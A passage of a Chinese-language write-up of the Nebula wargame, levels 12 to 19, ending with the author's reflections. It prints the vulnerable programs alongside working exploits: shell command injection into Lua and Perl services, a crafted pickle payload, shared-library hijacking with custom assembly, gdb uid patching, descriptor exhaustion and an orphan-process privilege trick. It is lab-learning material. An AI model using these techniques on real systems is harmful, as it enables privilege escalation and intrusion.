#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int length = 1024; char *cmd = "getflag"; // 要执行的命令 char buf[1024]; int key = length & 0xff; int i = 0; strncpy(buf,cmd,1024); // 把“ getflag” 字符串拷贝到 buf 里,其他空间空字节填充 for(; i<length; i++) { buf[i] ^= key; key = key - (buf[i] ^ key); // 必定要 buf[i]^key 才可获得正确的 key ,上面那句代码才可正确执行 } puts("Content-Length: 1024"); // 输出至标准输出 fwrite(buf,1,length,stdout); return 0; }
二、在getrand函数里tmp = getenv("TEMP");
说明须要环境变量TEMP,因此要先设置一个名叫“TEMP”的环境变量
三、执行攻击成功~
题目
There is a backdoor process listening on port 50001.
源代码
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
解题思路
一、虽然是咱们没学过的lua语言,但凭借英语理解,咱们能够大概知道这个程序大体是经过socket创建链接,要求用户输入密码,而后将密码加密后与密文 “4754a4f4bd5787accd33de887b9250a0691dd198”进行对比
二、客户端经过local line, err = client:receive()
接受输入的密码,而后调用local h = hash(line)
,此程序的漏洞在于hash 函数里加密方式是经过调用shell命令prog = io.popen("echo "..password.." | sha1sum", "r")
来完成的
三、使用nc链接,并尝试在输入密码时进行命令注入,攻击成功~
题目
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
源代码
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
解题思路
一、这段程序经过getuid得到当前用户的uid与FAKEUID作比较,FAKEUID是一个宏,值为1000,只要uid=1000的用户才能够读取token,显而易见,这题要想经过必须修改uid,或者说当getuid调用时,getuid获得的uid为1000
二、这里须要用到逆向工程的知识,通常函数的返回值存放在eax寄存器里的,getuid函数调用后,eax寄存器里就是当前用户的uid,所以咱们可使用gdb调试这个程序,修改eax的内容
三、反汇编main函数,咱们能够在判断语句cmp $0x3e8,%eax
处下个断点
四、查看断点处的eax寄存器,能够看到当前用户的uid是1014,接着就是修改eax的值为1000,让程序继续运行,便可显示出token啦
五、使用获取的token登陆flag13帐号,执行getflag成功过关~
题目
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it
解题思路
一、经过题目提示,咱们能够得知flag14是个加密程序,题目须要破解用flag14加密过的token文件,因此咱们能够先用flag14加密一些数据,试图看出它的加密原理
二、多试几组数据后,咱们大概能够知道这个加密算法的思路就是第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此类推,知道加密原理后,咱们能够直接编写解密程序
#include <stdio.h> #include <string.h> int main() { char buf[1000]; scanf("%s", buf); int i; for (i = 0; i < strlen(buf); i++) { buf[i] -= i; } puts(buf); return 0; }
三、执行上面编写的程序即成功解密token,而后用它登陆flag14帐号执行getflag便可过关~
题目
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.
解题思路
一、根据题目的提示,咱们须要用strace命令跟踪flag15的系统调用状况,而后根据它调用的动态连接库来劫持它
二、使用strace ./flag15
命令跟踪系统调用状况,发现这个程序大量读取libc.so.6动态库,可是进入目录后没有发现,所以咱们的思路是本身写一个有恶意指令的libc.so.6,当flag15调用libc.so.6时,完成劫持操做
三、在攻击前,咱们须要了解下Linux动态连接库的一点预备知识,Linux动态连接库的入口函数是_init,但由于_init函数是在gcc命令编译时自动加入的,咱们没法对其进行重载,不过咱们能够利用gcc的一个特性,让程序在执行_init函数以前,先执行带有__attribute ((constructor))的函数
四、使用objdump -p flag15 | grep RPATH
命令能够看出咱们对/var/tmp有写入权限,所以在/var/tmp里建立一个目录flag15,并在此目录下编写以下的 libc.c,而后使用命令gcc -fpic -shared libc.c -o libc.so.6
生成动态连接库
#include <stdio.h> void __attribute__((constructor)) init() { system("/bin/getflag"); }
五、在/home/flag15文件夹下执行flag15程序,报错提示须要定义一个__cxa_finalize函数以及glibc的版本有问题
六、咱们须要在libc.c中添加一个__cxa_finalize函数的定义,同时为了不glibc的版本问题,能够在生成连接库的时候使用-nostdlib
参数,表示不链接系统标准启动文件和标准库文件,但所以咱们也不能直接调用系统的system()函数,因此还得用汇编语言本身实现了一个system函数
.section .text .globl system system: mov $getflag, %ebx xor %edx, %edx # 异或清空 edx ,做为空参数 push %edx push %ebx mov %esp, %ecx mov $11, %eax # 调用 execve 中断 int $0x80 .section .data getflag: .ascii "/bin/getflag\0"
七、从新编译生成动态连接库,执行./flag15,成功过关~
题目
There is a perl script running on port 1616.
源代码
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
解题思路
在正式解题以前,咱们要直面这道关卡必须用到虚拟机ip地址的事实~结合网上相关资料,明白是因为虚拟机缺少eth0网卡致使的,最终经过把/etc/network/interface
中的eth0所有改为eth1从而得到ip地址
一、分析代码,咱们能够看出这段脚本实现了一个简单的登陆认证,先接受传来的username和password,而后将参数中的英文转换成大写并过滤掉空格,接着经过调用外部shell命令egrep进行判断,并把结果存储到数组@output中,最后再遍历数组,判断登陆是否成功
二、一样此程序的漏洞出如今调用外部shell命令@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
中,为了防止咱们随意填写$username,程序提早将该参数的字母所有转换成大写,而Linux默认是区分大小写的,所以若想有效地执行其它命令,则须要把username转换成小写,shell中使用“${变量名,,}”
便可将变量名转换成小写。
三、因为egrep后面有引号,所以咱们注入命令须要闭合引号,而且用/dev/null为egrep构造一个须要的输入,最终咱们构造的注入用户名为"</DEV/NULL;CMD=/TMP/ZJJ;${CMD,,};#
,其中/tmp/zjj
是一个内容以下的可执行脚本文件
#! /bin/bash /bin/getflag > /tmp/flag16
四、使用在线编码工具转换构造的用户名,使用主机浏览器访问192.168.1.181:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3BCMD%3D%2FTMP%2FZJJ%3B%24%7BCMD%2C%2C%7D%3B%23&password=123
,提交以后,虚拟机出现新的文件/tmp/flag16,攻击成功~
题目
There is a python script listening on port 10007 that contains a vulnerability.
源代码
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
解题思路
一、脚本首先创建监听端口10007的socket链接,而后接受客户端发送的数据并使用pickle.loads处理,所以咱们须要先了解下Python提供的pickle模块:该模块把对象按照必定的格式保存在文件中,在另外的脚本中使用pickle.load或者pickle.loads便可从新使用这些对象,load和loads函数不一样之处是load处理存储在文件里的pickle格式数据,loads则是处理字符串表达的pickle格式的数据
二、咱们能够用例子来加深对pickle模块的理解,首先编写一个脚本a.py对字符串zjj
进行序列化,并存储在/tmp/level17中,而后再编写一个脚本b.py对/tmp/level17里的字符串反序列化并输出
三、分析一下/tmp/level7的内容,咱们大概能够理解成S’字符串’
就是生成一个字符串,p0
是表明没有其它参数即结束;由此咱们能够设想使用pickle.loads方法反序列化被咱们精心构造的数据,即但愿执行的python脚本内容以下
import os system('getflag > /tmp/flag17)
四、编写一个文件/tmp/exp,保存以下的序列化数据,其中操做码c表示使用模块os,(S’参数’
用于将参数压入栈,官方叫它MARK对象, tR操做码大概就是从栈顶开始弹出全部值,包括MARK对象, 最后”.”是pickle结束标志
cos system (S'getflag>/tmp/flag17' tR.
五、最后将exp文件传给正在监听的10007端口,攻击成功~
题目
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
源代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
解题思路
一、通读代码,能够知道主要实现以下:程序首先查看两个参数,-d
可以将日志记录到提供的文件中,-v
增长详细级别;而后程序启动并将详细级别写入调试文件,而且为二进制程序设置EUID权限,接着程序开始接收输入
execve("/bin/sh", argv, envp);
二、这个程序的关键漏洞在于login函数中调用了fopen(),但并无调用fclose()释放资源;Linux默认状况下,一个进程只能够打开1024个句柄(能够经过ulimit -n命令查看),因为是个交互式程序,程序将不断接受用户输入的指令,每调用一次login执行,就会消耗一个句柄,等到句柄消耗完毕就会致使fp返回空进而登陆用户
三、由于Linux的标准输入stdin、输出stdout和错误stderr各须要一个句柄,因此实际可供使用的句柄只有1021个; 编写一个输出1021个“login zjj”命令的脚本:
for i in {0..1020}; do echo 'login zjj'>>/tmp/login; done;
以后再执行cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
,其中-d参数是输出信息到指定的文件中
四、根据/tmp/debug中的内容,咱们能够看出登陆成功了,接着就能够追加一个“shell”命令,不过在“shell”命令执行前,咱们须要先执行closelog命令释放一个句柄,基于以上,在/tmp/login中加入closelog和shell
五、-d参数出现错误,查阅bash的手册页资料咱们知道这是bin/sh接受参数时的问题,加上–-rcfile
便可解决
六、新的错误(漏洞)来了,提示找不到Starting命令,由前面攻击环境变量的练习咱们能够联想到在/tmp目录里新建一个可执行脚本Starting,该脚本内容是将getflag的输出重定向到/tmp/output中,而后将/tmp路径添加到环境变量下
七、再次运行程序,/tmp目录下多了output文件,攻击成功~
题目
There is a flaw in the below program in how it operates.
源代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
解题思路
一、这段程序的流程是这样的:
二、解题前先了解下Linux中的进程父子关系:当子进程销毁时,父进程须要回收它;若是在子进程执行完毕以前,父进程由于种种缘由被销毁了,那么子进程就变成了孤儿进程,收养它的是init进程,init进程是Linux启动时建立的第一个进程,是全部进程的父进程,具备root权限
三、突破这段程序的方法就是写一段代码,fork一个进程,而且在fork出的子进程执行完毕以前,将父进程结束掉,这样init进程就会接子进程,子进程也就天然拥有root权限
#include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(void) { pid_t pid; pid = fork(); char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 将 getflag 的内容重定向到 /tmp/flag19 中 if(pid == 0) // 若是 pid==0 ,则是子进程 { execve("/home/flag19/flag19",argvs,NULL); }else if(pid > 0){ // 返回给父进程时,直接结束父进程,子进程就成了孤儿进程了 exit(0); } return 0; }
四、运行程序后,有新生成的/tmp/flag19文件,通关成功!
前面几关都是利用代码中的小漏洞或是使用一些小技巧(软链接、修改环境变量等)得到权限的,对我而言真正有难度的关卡是从level09开始的,这关是攻击PHP代码的,不管是代码自己的语言仍是里面用到的正则表达式知识,我都比较薄弱,虽然在教程的帮助下成功过关了,但深挖起来还有一些逻辑上不能理解的细节
level10漏洞的原理我以为还比较有意思,它是一个经典文件访问竞态条件漏洞,也可称做为“TOCTOU漏洞“—— time of check,time of use。在早期的单处理操做系统中,这样的代码多是严谨的,由于单处理的话,进程执行完毕后才发生切换。可是在多任务的操做系统中有这样一个问题:在用access检查文件后,这个程序可能受到其余程序的干扰或者发生进程切换,在进程发生切换以后,进程失去了执行流程,而且在它还未再次得到执行时,它操做的文件发生改变。
许多关卡好比level十一、level18官方提示都有多种解法,但由于水平限制,我作出来的都是比较简单的那一种,因此针对这套题仍是有必定再挖掘空间的~
level15在我看来也是比较有趣的一道关卡,不只要用到Linux动态连接库的相关知识,最终攻击成功还须要本身用汇编语言编写system()函数;除此以外level17是使用了序列化与反序列化的相关知识,level19是利用“孤儿进程”的特性……整套练习作下来仍是能学到不少之前不曾接触的知识点的,总而言之,学习之路任重道远